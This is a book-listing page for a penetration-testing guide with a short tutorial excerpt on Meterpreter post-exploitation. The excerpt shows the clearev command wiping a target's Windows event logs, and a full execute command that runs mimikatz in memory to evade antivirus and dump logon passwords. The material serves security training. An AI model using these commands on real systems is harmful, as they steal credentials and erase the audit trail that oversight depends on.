July 2019
Intermediate to advanced
712 pages
17h 36m
English
book
Improving your Penetration Testing Skills
by Gilberto Najera-Gutierrez, Juned Ahmed Ansari, Daniel Teixeira, Abhinav Singh
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How to do it...
- clearev clears the Application, System, and Security logs on the target system:
meterpreter > clearev[*] Wiping 525 records from Application...[*] Wiping 1916 records from System...[*] Wiping 1565 records from Security...
- The execute command executes a command on the target. The awesome thing about the execute command is that it allows us to run commands from memory without uploading the binary to the target, this way effectively bypassing several antivirus products.
In the next example, I will show you how to run mimikatz directly in memory. The command I will use is the following:
execute -H -i -c -m -d calc.exe -f /usr/share/mimikatz/x64/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'
From the preceding command: ...
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